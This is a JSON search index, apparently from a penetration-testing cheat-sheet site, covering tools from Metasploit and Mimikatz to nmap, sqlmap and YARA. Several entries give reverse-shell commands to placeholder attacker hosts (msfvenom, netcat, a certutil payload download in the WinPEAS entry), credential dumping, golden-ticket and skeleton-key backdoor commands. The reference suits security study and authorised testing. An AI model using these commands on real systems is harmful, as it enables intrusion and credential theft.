https://github.com/Neo23x0/Fenrir\n","permalink":"https://security.kaldei.com/tools/loki/","summary":"A simple IOC and YARA Scanner.","title":"LOKI"},{"content":"MASSCAN https://github.com/robertdavidgraham/masscan\nBasis masscan [TARGET_NETWORK]/24 -p 443\nHost discovering scan.\nPorts -p80,443\nTest ports 80 and 443.\n-p80-443\nTest ports 80 to 443.\n‐‐top-ports 100\nTest top 100 ports\n","permalink":"https://security.kaldei.com/tools/masscan/","summary":"An Internet-scale port scanner.","title":"MASSCAN"},{"content":"METASPLOIT https://github.com/rapid7/metasploit-framework\nTerminology Non-Staged Payload Non-staged (Singles or Inline) payload are sent all at once.\nExample: windows/meterpreter_reverse_tcp.\nStaged Payload Staged payloads are sent in two steps: an initial part is installed (the stager) and requests the rest of the payload. This allows for a smaller initial payload size.\nExample: windows/meterpreter/reverse_tcp.\nModules Exploits: Exploits. Payloads: Payloads (exploit + goal). Singles: Self-contained payloads that do not need to download an additional component to run. Stagers: Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads. Stages: Downloaded by the stager. This will allow you to use larger sized payloads. Evasion: Try to bypass antivirus. Auxiliary: Supporting modules such as scanners, crawlers and fuzzers. Post: Post exploitation. Exploit Ranking Source: https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html\nConsole msfdb init\nInitialize database.\nmsfconsole\nStart metasploit console.\ndb_status\nCheck database connection.\nsearch [SERVICE_TO_EXPLOIT]\nSearch for an exploit to use against the specified service.\nuse [MODULE]\nSelect a module.\nuse auxiliary\nSelect an auxiliary module.\ninfo\nDisplay information about selected module.\nshow options\nShow variables (options) of selected module.\nset [VARIABLE] [VALUE]\nSet variable (option) of selected module.\nsetg [VARIABLE] [VALUE]\nSet variable (option) globaly (for all modules).\nunset [VARIABLE] [VALUE]\nUnset variable.\nexploit\nRun the exploit (-j to run it in background job). run is an alias to exploit.\nsessions -l\nList opened sessions.\nsessions 1\nOpen session 1.\nbackground\nBackground session (Ctrl + z).\nconnect [HOST]\nNetcat like connection.\nspool\nWrite console output into a file as well the screen.\nModules Handler Multi use exploit/multi/handler\nset payload linux/x86/meterpreter/reverse_tcp\nexploit\nHandler for linux (efl) reverse shell.\nuse exploit/multi/handler\n**set payload windows/x64/meterpreter/reverse_tcp **\nexploit\nHandler for Windows Meterpreter.\nReverse Shell Windows use exploit/windows/smb/psexec\nset lhost [ATTACKER_IP]\nset rhosts [TARGET_IP]\nset smbdomain [TARGET_DOMAIN]\nset smbuser [TARGET_USER]\nset smbpass [TARGET_IP]\nset payload windows/x64/meterpreter/reverse_tcp\nexploit\nCreate a reverse shell from a SMB share.\nPost Exploit Multi use multi/manage/shell_to_meterpreter\nUpgrade shell to a Meterpreter session.\nuse post/multi/recon/local_exploit_suggester\nCheck exploits for privilege escalation.\nPost Exploit Windows use post/windows/gather/checkvm\nCheck if the machine a VM.\nuse post/windows/manage/enable_rdp\nTry to enable RDP.\nuse post/windows/gather/enum_shares\nEnumerate shares.\nPost Exploit Linux use linux/gather/hashdump\nDump users hashes.\nAuxiliary SMB use auxiliary/scanner/smb/smb_enum_gpp\nDetect vulnerable GPP policies (credentials encrypted with leaked key).\n","permalink":"https://security.kaldei.com/tools/metasploit/","summary":"A penetration testing framework.","title":"METASPLOIT"},{"content":"METERPRETER https://github.com/rapid7/meterpreter\nEnumeration sysinfo\nInfo about the system.\ngetenv\nGet one or more environment variable values.\ngetuid\nGet current user.\ngetprivs\nDisplay current user privileges.\nsearch -f flag.txt\nSearch a file on the machine.\nFile Transfer upload\nUpload a file or directory.\ndownload\nDownload a file or directory.\nSpawn Shell shell\nSpawn a shell.\nload powershell_shell\nSpawn Powershell.\nSpawn Mimikatz privilege::debug\nEnsure that current user has administrator privileges (the output should be [output '20' OK]). This indicates that debugging a process is possible.\n\u0026gt;\nload kiwi\nStarts Mimikatz.\nhelp kiwi\nShow Mimikatz commands.\nAttacks hashdump\nDump hashes from Windows SAM base (for linux use module linux/gather/hashdump).\nmigrate 716\nMigrate to another process.\nEx : Migrate to a word.exe and act like a keylogger.\nEx: Migrate to lsass.exe to run hashdump.\nImpersonate If the current user has SeDebugPrivilege and SeImpersonatePrivilege privileges enabled, we are able to impersonate another user.\nload incognito\nLoad icognito module.\nlist_tokens -u\nList Delegation Tokens available (not sure of the flag maybe -g).\nimpersonate_token \u0026quot;BUILTIN\\Administrators\u0026quot;\nImpersonate token.\nTo determine rights, Windows uses the Primary Token of the process and not the impersonated token. So we have to migrate to a process with correct permissions.\nThe safest to pick is services.exe.\nmigrate 668\nMigrate to process 668.\nrev2self\nRevert to previous user.\nPivoting When we have a meterpreter shell on a machine that has access to another network, we can use it to gain access to the 2nd network.\nrun autoroute -s [REMOTE_NETWORK]/24\nCreate a route via the host that we had access to.\nrun autoroute -p\nShow added routes.\n","permalink":"https://security.kaldei.com/tools/meterpreter/","summary":"A Metasploit attack payload that provides an interactive shell.","title":"METERPRETER"},{"content":"MIMIKATZ https://github.com/gentilkiwi/mimikatz\nCheck Admin Privileges privilege::debug\nEnsure that current user has administrator privileges (the output should be [output '20' OK]). This indicates that debugging a process is possible.\nInitial Access misc::cmd\nOpen a new elevated command prompt with the given ticket in Minikatz.\ndir \\\\TARGET-MACHINE-NAME\\c$\nList files in c drive of the machine.\nPsExec.exe \\\\TARGET-MACHINE-NAMEcmd.exe\nGet a shell on the machine.\nPassword Dump creds_all\nDump passwords.\nlsadump:sam\nDump SAM base.\nsekurlsa:logonpasszords\nDump logon passwords.\nPass the Ticket sekurlsa::tickets /export\nExport all .kirbi tickets into the current directory.\nkerberos::ptt myTicketFromSekurlsa.kirbi\nCache and impersonate the given ticket.\nGolden/Silver Ticket lsadump::lsa /inject /name:krbtgt\nDump hash and security identifier required to create a Golden Ticket.\nNote: To create a Silver Ticket, change the /name: to a domain admin account or a service account.\nCredit: TCM Security\nkerberos::golden /user:Administrator /domain:mycontroller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500 /ptt\nCreate a golden ticket (/ptt stands for Pass The Ticket, if we don’t put it, the command will save the ticket to a file).\nNote: To create a Silver Ticket, simply put a service NTLM hash into the /krbtgt: slot, the sid of the service account into /sid:, and change the /id: to 1103.\nSkeleton Key misc::skeleton\nCreate a backdoor with credentials \u0026quot;mimikatz\u0026quot;.\ndir \\\\Desktop-1\\c$ /user:Machine1 mimikatz\nList C: drive content using Skleton Key backdoor.\n","permalink":"https://security.kaldei.com/tools/mimikatz/","summary":"A tool to play with Windows security, written in C.","title":"MIMIKATZ"},{"content":"MONA https://github.com/corelan/mona\nBasis !mona config -set workingfolder c:\\mona\nSet where mona will save data.\n!mona bytearray -cpb \u0026quot;\\x00\u0026quot;\nGenerate byte array.\n!mona jmp -r ESP m \u0026quot;essfunc.dll\u0026quot;\nFind jump address.\nUse it in IMMUNITY Put the followig script in C:\\Program Files (x86)\\Immunity Inc\\Immunity Debugger\\PyCommands\nhttps://github.com/corelan/mona\n","permalink":"https://security.kaldei.com/tools/mona/","summary":"A python script to automate and speed up specific searches on Immunity Debugger and WinDBG.","title":"MONA"},{"content":"MSFVENOM https://github.com/rapid7/metasploit-framework/blob/master/msfvenom\nBasis Payloads naming convention : [OS]/[arch]/[payload]\nmsfvenom --list payloads\nList payloads.\nLinux Reverse Shell Msfvenom Payloads msfvenom -p cmd/unix/reverse_netcat LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT]\nGenerate a Linux reverse shell.\nmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f elf \u0026gt; reverse.elf\nGenerate a Meterpreter Reverse Shell for Linux x86.\nmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f elf \u0026gt; reverse.elf\nGenerate a Meterpreter Reverse Shell for Linux x64.\nMetasploit Handler use exploit/multi/handler\nset payload linux/x86/meterpreter/reverse_tcp\nexploit\nHandler for linux (efl) reverse shell.\nWindows Reverse Shell Msfvenom Payloads msfvenom -p windows/x64/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f exe -o shell.exe\nGenerate a reverse shell exe.\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f exe -o shell.exe\nGenerate a meterpreter reverse shell exe.\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f dll -o msfvenom_revshell.dll\nGenerate a malicious DLL (meterpreter reverse shell).\nMetasploit Handler use exploit/multi/handler\n**set payload windows/x64/meterpreter/reverse_tcp **\nexploit\nHandler for Windows Meterpreter.\nWindows Shellcode (Buffer Overflow) msfvenom -p windows/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] EXITFUNC=thread -f c -b \u0026quot;\\x00\\x07\\x08\\x2e\\x2f\\xa0\\xa1\u0026quot;\nGen Reverse Shell in Shellcode (specify bad chars).\nFlags -b \u0026quot;\\x00\u0026quot;\nSpecify bad characters (always put at least null byte).\n-f c\nFile Type (here it's c file).\n-a x86\nArchitecture.\n","permalink":"https://security.kaldei.com/tools/msfvenom/","summary":"A Metasploit module that generates shellcodes.","title":"MSFVENOM"},{"content":"NETCAT http://netcat.sourceforge.net/\nListener nc -lvnp [ATTACKER_PORT]\nOpen a listener on delected port.\nReverse Shell nc -e /bin/bash [ATTACKER_IP] [ATTACKER_PORT]\nReverse shell.\nFlags -l\nListener mode.\n-k\nKeep listening after client disconnects.\n-n\nNo DNS (no more \u0026quot;unknown host\u0026quot;).\n-v\nVerbose.\n-p 2112\nPort. -z\nNetcat will not send data (scan for listening daemons).\n","permalink":"https://security.kaldei.com/tools/netcat/","summary":"A featured networking utility which reads and writes data across network connections.","title":"NETCAT"},{"content":"NIKTO https://github.com/sullo/nikto\nBasis nikto -h [TARGET_IP]\nWeb vuln scan.\nnikto -h http://[TARGET_IP]:[TARGET_PORT]/path -id myUser:myPass\nWeb vuln scan with credential and login page.\n","permalink":"https://security.kaldei.com/tools/nikto/","summary":"A web server scanner.","title":"NIKTO"},{"content":"NMAP https://github.com/nmap/nmap\nBasis nmap -sn [TARGET_NETWORK]/24\nDo not do port scan: scan for hosts (ARP, ICMP, TCP/UDP Ping).\nnmap -sV -sC [TARGET_IP]\nPorts services + Default script.\nHost dicovering Process (-sn) Privileged user scans targets in local network: ARP requests. Privileged user scans targets outside local network: ICMP echo requests, TCP ACK to port 80, TCP SYN to port 443, and ICMP timestamp request. Unprivileged user scans targets outside local network: SYN to ports 80 and 443. Flags -O\nOS detection.\n-sV\nService detection (Force Nmap to proceed with the TCP 3-way handshake).\n-oN myOutputFile\nNormal Output.\n-vv\nVerbose.\n-n\nDo not resolve DNS.\n-Pn\nDo not ping to determine if host is up.\n-r\nScan the ports in consecutive order instead of random order.\nPorts -p 80\nScan port 80.\n-p 80,443\nScan ports 80 and 443.\n-p 80-443\nScan ports 80 to 443.\n-p-\nScan all ports.\nTiming -T0\nParanoid (5 minutes between sending each probe/ Avoid IDS Dectection).\n-T1\nSneaky (Avoid IDS Dectection).\n-T2\nPolite.\n-T3\nNormal (Default).\n-T4\nAggressive.\n-T5\nInsane (Can affect scan accuracy)\nScans Types -sT\nTCP connect scan. Default running with non privileged users.\n-sS\nSYN scan (Half TCP / “Sneaky”). Default running with privileged users.\n-sU\nUDP port scan.\nFirewall Bypass and Evasion -sN\nNull scan (do not set any TCP flag). No response is either port open or filtered.\n-sF\nFIN scan (FIN flag). No response is either port open or filtered.\n-sX\nXmas scan (FIN, PSH, and URG flags simultaneously). No response is either port open or filtered.\n-A\nUsed to discover firewall rules. Return unfiltered ports (dosn't mean they're up).\n-D [TARGET_IP]RND,ME\nSend same request with decoy IP addresses (RND is Random IP and ME is my IP).\n-f and -ff\nSend fragmented packets (divided into 8 and 16 bytes).\nScripts /usr/share/nmap/scripts\n-sC\nDefault script scanning.\n-A\nAgressive Scan (-O + -sV + -sC + --traceroute).\n--script vuln\nRun a script.\n--script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' Script with arguments\nSMB Scan nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse [TARGET_IP]\nSearch for SMB Shares.\nnmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount [TARGET_IP]\nEnumerate rpcbind.\nnmap --script=smb2-security-mode.nse -p445 [TARGET_IP]\nScan for disabled SMB Signing.\nWeak Cipher Scan nmap --script=ssl-enum-ciphers -p 443 [TARGET_IP]\nCheck for weak cipher. Under B score, it’s a bad cipher.\n","permalink":"https://security.kaldei.com/tools/nmap/","summary":"A very famous network discovery tool.","title":"NMAP"},{"content":"NUCLEI https://github.com/projectdiscovery/nuclei\nInstall https://github.com/projectdiscovery/nuclei/releases\ngo install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest\nBasis nuclei\nDownload base templates (install at ~/nuclei-templates).\nnuclei -u [TARGET_IP]\nScan target with all available templates.\nnuclei -u -list myTagets.txt\nScan all targets in text file with all available templates.\nTemplates https://github.com/projectdiscovery/nuclei-templates\nnuclei -u [TARGET_IP] -t myFolder\nScan target with templates in the specified folder.\nFlags -rl 30\nSet Rate Limit.\n-header 'myHeader:customValue''\nAdd a header to the request (can be used to inform the admin server that wa are attacking).\n-tags xss\nFilter templates by tags.\n-severity low,medium,high,critical\nFilter templates by severity.\n","permalink":"https://security.kaldei.com/tools/nuclei/","summary":"A fast and customizable vulnerability scanner based on simple YAML DSL.","title":"NUCLEI"},{"content":"OSQUERY https://github.com/osquery/osquery\nBasis osqueryi\nEnter Osquery console.\n.help\nShow help.\n.version\nShow version\n.tables\nList all available tables.\n.schema [TABLE_NAME]\nDisplay schema of the table.\n.tables [TABLE_NAME]\nDisplay table content.\nTables Examples .tables processes\nProcesses table.\nSELECT * FROM kernel_info;\nKernel Info table.\nSELECT * FROM shell_history;\nShell history table.\nQuery Examples (SQL like) SELECT * FROM processes;\nSELECT pid, name, path FROM processes;\nSELECT count(*) from processes;\nSELECT pid, name, path FROM processes WHERE name='lsass.exe';\nWHERE Operators \u0026amp; Wildcards =\nEqual.\n\u0026lt;\u0026gt;\nNot Equal.\n\u0026gt;\nGreater than.\n\u0026gt;=\nGreater than or equal to.\n\u0026lt;\nLess than.\n\u0026lt;=\nLess than or equal to.\nBETWEEN\nBetween a range.\nLIKE\nPattern wildcard searches.\n%\nMultiple characters wildcard.\n_\nOne character wildcard.\nWith YARA https://osquery.readthedocs.io/en/stable/deployment/yara/ SELECT * FROM yara WHERE path LIKE '/home/%%' AND sigfile='/var/osquery/yara/scanner.yara';\nExecute Yara scan on all files returned by Osquery.\n","permalink":"https://security.kaldei.com/tools/osquery/","summary":"An SQL powered operating system instrumentation, monitoring, and analytics.","title":"OSQUERY"},{"content":"OWASP AMASS https://github.com/OWASP/Amass\nBasis go install github.com/OWASP/Amass/v3/...@master\namass enum -d [TARGET_DOMAIN]\nFind subdomains.\n","permalink":"https://security.kaldei.com/tools/owasp-amass/","summary":"An in-depth asset discovery tool.","title":"OWASP AMASS"},{"content":"PINGCASTLE https://github.com/vletoux/pingcastle\nFree, but if you want to use it for commercial purposes, you have to pay.\nHealth check PingCaslte.exe --healthcheck\nRun an audit and create a report \u0026quot;ad-hc_mydoamin.local.html\u0026quot;.\nPingCaslte will generate a \u0026quot;Domain Risk Level\u0026quot;.\nThis score is based on the worst score between the difrrents categories: Stale Object, Trusts, Privileged Accounts and Anomalies.\nThe goal is to have the lowest possible score.\n","permalink":"https://security.kaldei.com/tools/pingcastle/","summary":"An Active Directory audit tool.","title":"PINGCASTLE"},{"content":"POWERVIEW https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon\nResource https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993 Start powershell.exe -ExecutionPolicy bypass\nBypass PowerShell execution policy to run scripts.\n. .\\PowerView.ps1\nRun POWERVIEW script.\nUsers and Groups Get-NetUser\nEnumerate users and their properties.\nGet-NetUser | select cn\nEnumerate domain Common Names for users.\nGet-NetUser | select description\nEnumeration description for users.\nGet-UserPropery -Properties logoncount\nShow connection count (might see a honeypot account).\nGet-NetGroupMember -name \u0026quot;Domain Admins\u0026quot;\nEnumerate users belonging to admin groups.\nGet-NetGroup -name *admin*\nEnumerate all groups with admin in it.\nDomain Get-NetDomain\nInfos about the domain.\nGet-NetDomainController\nInfo about the Domain Controller.\nGet-NetComputer\nInfos about servers and computers in the domain.\nGet-DomainPolicy\nInfos about Domain Policy.\nGet-NetGPO\nList GPOs.\nGet-NetGPO | select displayname, whenchanged\nList policies with when they were changed.\n","permalink":"https://security.kaldei.com/tools/powerview/","summary":"A PowerShell tool to gain network situational awareness on Windows domains.","title":"POWERVIEW"},{"content":"QPDF Resources https://github.com/qpdf/qpdf Spotting Canary Tokens - Hack the Clown Basis qpdf --qpfd myFile.pdf myOutputFile.pdf\nExtract unreadable data in a PDF (stream objects) and create a new one with readable data.\n","permalink":"https://security.kaldei.com/tools/qpdf/","summary":"A content-preserving PDF document transformer.","title":"QPDF"},{"content":"RADARE2 https://github.com/radareorg/radare2\nLaunch r2 myFile\nOpen myFile in Radare2.\nBasis aaa\nAnalyze and autoname functions.\nafl\nPrint all functions autodetected.\npdf @main\nPrint disassembly of main.\npdf\nPrint disassembly of the current function.\ns myFunction\nChange location.\nMemory Content px @rbp-0xc\nPrint content of the variable at rbp-0xc.\ndr\nPrint registers.\ndr rip=address\nSet the instruction that we want to execute next.\nMove in Program Execution ood\nRun (\u0026amp; re-run) the program.\ndc\nRun the program until it hits the breakpoint.\nds\nStep to the next instruction.\nBreakpoint db address\nPlace a breakpoint.\nVisual Mode V!\nEnter fancy mode.\nVV\nEnter visual mode (with blocks).\nP\nChange display mode.\nTAB\nChange selected box.\n:dc\nRun program.\nS\nStep instructions.\nSHIFT + S\nStep further.\n","permalink":"https://security.kaldei.com/tools/radare2/","summary":"UNIX-like reverse engineering framework and command-line toolset.","title":"RADARE2"},{"content":"RUBEUS https://github.com/GhostPack/Rubeus\nPassword Spraying Rubeus.exe brute /password:myPassword /noticket\nSpray a password against all users in current domain and return the .kirbi TGT of users that use this password.\nKerberoasting Rubeus.exe kerberoast\nDump Kerberos hashes of kerberoastable users (same as GetUserSPNs.py but on the target machine).\nAS_REProasting Rubeus.exe asreproast\nDump Kerberos hashes of AS_REProastable users. (Then Insert 23$ after $krb5asrep$ and use hashcat -m 18200).\n","permalink":"https://security.kaldei.com/tools/rubeus/","summary":"A C# toolset for raw Kerberos interaction and abuses.","title":"RUBEUS"},{"content":"SEARCHSPLOIT https://www.exploit-db.com/searchsploit\nBasis apt install exploitdb\nInstall ExploitDB.\nserachsploit name version\nRecherche d’exploits connues (de Exploit-DB).\nserachsploit -x 4401\nAffiche l’exploit 4401.\n","permalink":"https://security.kaldei.com/tools/searchsploit/","summary":"A command line search tool for Exploit-DB.","title":"SEARCHSPLOIT"},{"content":"SMBCLIENT https://www.samba.org/samba/docs/current/man-html/smbclient.1.html\nBasis smbclient -L [TARGET_IP] --no-pass\nList Shares anonymously.\nsmbclient -L [TARGET_IP] -U myUser\nList Shares with a user.\nsmbclient //[TARGET_IP]/mySmbShare\nConnect to a Share.\nFlags -L\nList Shares.\n-U myUser\nSpecify the user.\n-N\nNo password (--no-pass).\n-p 12\nSpecify the port.\n","permalink":"https://security.kaldei.com/tools/smbclient/","summary":"A FTP-like client to access SMB/CIFS resources on servers.","title":"SMBCLIENT"},{"content":"SMBGET https://www.samba.org/samba/docs/current/man-html/smbget.1.html\nBasis smbget -R smb://10.0.0.12/smbShare\nRecursively download the SMB share.\n","permalink":"https://security.kaldei.com/tools/smbget/","summary":"A WGET-like utility to download files over SMB.","title":"SMBGET"},{"content":"SQLMAP https://github.com/sqlmapproject/sqlmap\nGET Parameter sqlmap -u \u0026quot;http://[TARGET_IP]/books?author=Bob\u0026quot; -p author\nLook for SQL injection in author parameter.\nPOST Parameter sqlmap -u \u0026quot;http://[TARGET_IP]/search\u0026quot; --data=\u0026quot;name=Bob\u0026quot;\nLook for SQL injection in post parameter.\nBurp Capture sqlmap -r [fileFromBurpIntercept] --batch\nLook for SQL injection from a BurpSuite capture.\nFlags -p\nProvide parameter which seems to be injectable.\n-u\nProvide URL for the attack.\n--dbms\nTell SQLMap the type of database that is running.\n--dump\nDump the data within the database that the application uses. --dump-all\nDump the ENTIRE database.\n--batch\nSQLMap will run automatically and won't ask for user input.\n","permalink":"https://security.kaldei.com/tools/sqlmap/","summary":"An automatic SQL injection and database takeover tool.","title":"SQLMAP"},{"content":"STEGHIDE https://github.com/StefanoDeVuono/steghide\nBasis steghide embed -v -cf [myEmbeddedFile] -ef [myCoverFile] --password [myPassword]\nHide file in an other file with a password.\nsteghide extract -v -sf [myCoverFile] --password [myPassword]\nExtract hidden file with the password.\n","permalink":"https://security.kaldei.com/tools/steghide/","summary":"A steganography tool that is able to hide data in various kinds of files.","title":"STEGHIDE"},{"content":"SUBLIST3R https://github.com/aboul3la/Sublist3r\nBasis sublist3r.py -d [TARGET_DOMAIN]\nFind subdomains (using search engines).\n","permalink":"https://security.kaldei.com/tools/sublist3r/","summary":"A fast subdomains enumeration tool.","title":"SUBLIST3R"},{"content":"WFUZZ https://github.com/xmendez/wfuzz\nFolder Fuzz wfuzz -c -z file,myWordList http://[TARGET_IP]:[TARGET_PORT]/FUZZ\nFuzz Folders.\nGET Fuzz wfuzz -c -z file,myWordList http://[TARGET_IP]:[TARGET_PORT]/api/file?parameter=FUZZ\nFuzz GET Parameter (ex: API).\nPOST Login Brute Force wfuzz -c -z file,myWordList -u http://[TARGET_IP]:[TARGET_PORT]/login.php -d “username=FUZZ\u0026amp;password=FUZZ”\nFuzz POST Login.\nFlags -z\nWord File to replace FUZZ in the request. For example -z file,big.txt.\n-d\nSpecifies POST parameters.\n-s\nTiming for requests.\n-c\nShows the output in color.\n--hc\nDon't show certain http response codes.\n--hl\nDon't show a certain amount of lines in the response.\n--hh\nDon't show a certain amount of words.\n","permalink":"https://security.kaldei.com/tools/wfuzz/","summary":"A web application fuzzer.","title":"WFUZZ"},{"content":"WINPEAS https://github.com/carlospolop/PEASS-ng\nBasis https://github.com/carlospolop/PEASS-ng/releases\nwinPEASx64.exe Run WinPEAD\nNo Quotes and Space Detected WINPEAS Output WiseBootAssistant(WiseCleaner.com - Wise Boot Assistant)[C:\\Program Files (x86)\\Wise\\Wise Care 365\\BootTime.exe] - Auto - Running - No quotes and Space detected YOU CAN MODIFY THIS SERVICE: AllAccess On attacker machine msfvenom -p windows/x64/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f exe -o Wise.exe\nCreate a reverse shell with the name of the modifiable service.\nnc -lvnp [ATTACKER_PORT]\nOpen a listener.\nOn target machine cd \u0026quot;C:\\Program Files (x86)\\Wise\u0026quot;\ncertutil.exe -urlcache -f http://[ATTACKER_IP]:[ATTACKER_PORT]/Wise.exe Wise.exe\nDownload crafted executable and place it where the space is in the vulnerable path.\nsc.exe stop WiseBootAssistant\nsc.exe query WiseBootAssistant\nsc.exe start WiseBootAssistant\nRestart the service to execute the crafted one.\n","permalink":"https://security.kaldei.com/tools/winpeas/","summary":"A Windows local Privilege Escalation Awesome Script.","title":"WINPEAS"},{"content":"WPSCAN https://github.com/wpscanteam/wpscan\nBasis wpscan --url [TARGET_IP] -e u,vp,vt\nScan Wordpress.\nFlags -e vp\nEnumerate Vulnerable Plugins.\n-e vt\nEnumerate Vulnerable Themes.\n-e cb\nEnumerate Config Backups.\n-e dbe\nEnumerate DB Exports.\n-e u\nEnumerate Users.\nWPSCAN WordPress Login Brute Force wpscan --url http://[TARGET_IP]/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt\nBrute force WordPress user's credentials.\n","permalink":"https://security.kaldei.com/tools/wpscan/","summary":"A WordPress security scanner.","title":"WPSCAN"},{"content":" ⛶ ","permalink":"https://security.kaldei.com/wstgmap/","summary":"\u003cdiv class=\"wstg-map\"\u003e\n\n    \u003cdiv class=\"wstg-map-links\"\u003e\n        \u003ca id=\"wstg_map-fullscreen\" href=\"https://raw.githubusercontent.com/Kaldei/WSTGMindMap/refs/heads/main/WSTG_Map/wstg_map-light.png\"\n            title=\"Full screen (opens new tab)\" target=\"_blank\" rel=\"noopener\"\u003e⛶\u003c/a\u003e\n        \u003ca href=\"https://github.com/Kaldei/WSTGMindMap\"\n            title=\"Kaldei/WSTGMindMap (opens new tab)\" target=\"_blank\" rel=\"noopener\"\u003e\u003csvg xmlns=\"http://www.w3.org/2000/svg\" aria-hidden=\"true\" role=\"img\" class=\"icon\" width=\"1em\" height=\"1em\" viewBox=\"0 0 24 24\" style=\"vertical-align: -0.125em;\"\u003e\u003cpath fill=\"currentColor\" fill-rule=\"evenodd\" d=\"M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385c.6.105.825-.255.825-.57c0-.285-.015-1.23-.015-2.235c-3.015.555-3.795-.735-4.035-1.41c-.135-.345-.72-1.41-1.23-1.695c-.42-.225-1.02-.78-.015-.795c.945-.015 1.62.87 1.845 1.23c1.08 1.815 2.805 1.305 3.495.99c.105-.78.42-1.305.765-1.605c-2.67-.3-5.46-1.335-5.46-5.925c0-1.305.465-2.385 1.23-3.225c-.12-.3-.54-1.53.12-3.18c0 0 1.005-.315 3.3 1.23c.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23c.66 1.65.24 2.88.12 3.18c.765.84 1.23 1.905 1.23 3.225c0 4.605-2.805 5.625-5.475 5.925c.435.375.81 1.095.81 2.22c0 1.605-.015 2.895-.015 3.3c0 .315.225.69.825.57A12.02 12.02 0 0 0 24 12c0-6.63-5.37-12-12-12\" clip-rule=\"evenodd\"/\u003e\u003c/svg\u003e\u003c/a\u003e\n    \u003c/div\u003e\n\n    \u003cdiv class=\"wstg-map-viewer\"\u003e\n        \u003cimg id=\"wstg_map-img\" src=\"https://raw.githubusercontent.com/Kaldei/WSTGMindMap/refs/heads/main/WSTG_Map/wstg_map-light.png\" alt=\"WSTG Mind Map\"\u003e\n    \u003c/div\u003e\n\n\u003c/div\u003e\n\n\n\u003cscript\u003e\n    // Show the map matching the current theme, and follow theme changes (toggle or OS)\n    function showWstgMap() {\n        const theme = document.body.classList.contains(\"dark\") ? \"dark\" : \"light\";\n        const url = `https://raw.githubusercontent.com/Kaldei/WSTGMindMap/refs/heads/main/WSTG_Map/wstg_map-${theme}.png`;\n        document.getElementById(\"wstg_map-img\").src = url;\n        document.getElementById(\"wstg_map-fullscreen\").href = url;\n    }\n    showWstgMap();\n    document.addEventListener(\"themechange\", showWstgMap);\n\u003c/script\u003e","title":"WSTG Mind Map"},{"content":"YARA https://github.com/VirusTotal/yara\nBasis yara myRule.yar /some/file\nExecute Yara rule on a file: search for a pattern in the file.\nFlag -m\nPrints metadata of the rules that were satisfied during the analysis.\n-c\nPrints the number of matches.\n-s\nPrints satisfied rules.\n-n\nPrints not satisfied rules.\nRules Cheat Sheet: https://twitter.com/fr0gger_/status/1516570364775907328/photo/1\nKeywords: and, not, or, \u0026gt;, \u0026gt;=, !=, any of them\nExample:\nrule myRule { /* Infos */ meta: author = \u0026#34;myAuthor\u0026#34; description = \u0026#34;myRule Description\u0026#34; created = \u0026#34;12/12/2012 12:12\u0026#34; /* Match one string */ strings: $myString = “Hello myString” condition: $myString /* Match multiple strings */ strings: $myStringLow = “hello mystring” $myStringHigh = “HELLO MYSTRING” condition: any of them } Valhalla Rules Database: https://valhalla.nextron-systems.com/\nYarGen https://github.com/Neo23x0/yarGen\npython3 yarGen.py --update\nUpdate.\npython3 yarGen.py -m mySuspiciousFile --excludegood -o myNewRule.yar\nCreate a Yara rule from mySuspiciousFile.\n-m\nPath to the files you want to generate rules for.\n--excludegood\nForce to exclude all goodware strings.\n-o\nOutput Yara rule file.\n","permalink":"https://security.kaldei.com/tools/yara/","summary":"A tool aimed to identify and classify malware samples.","title":"YARA"}]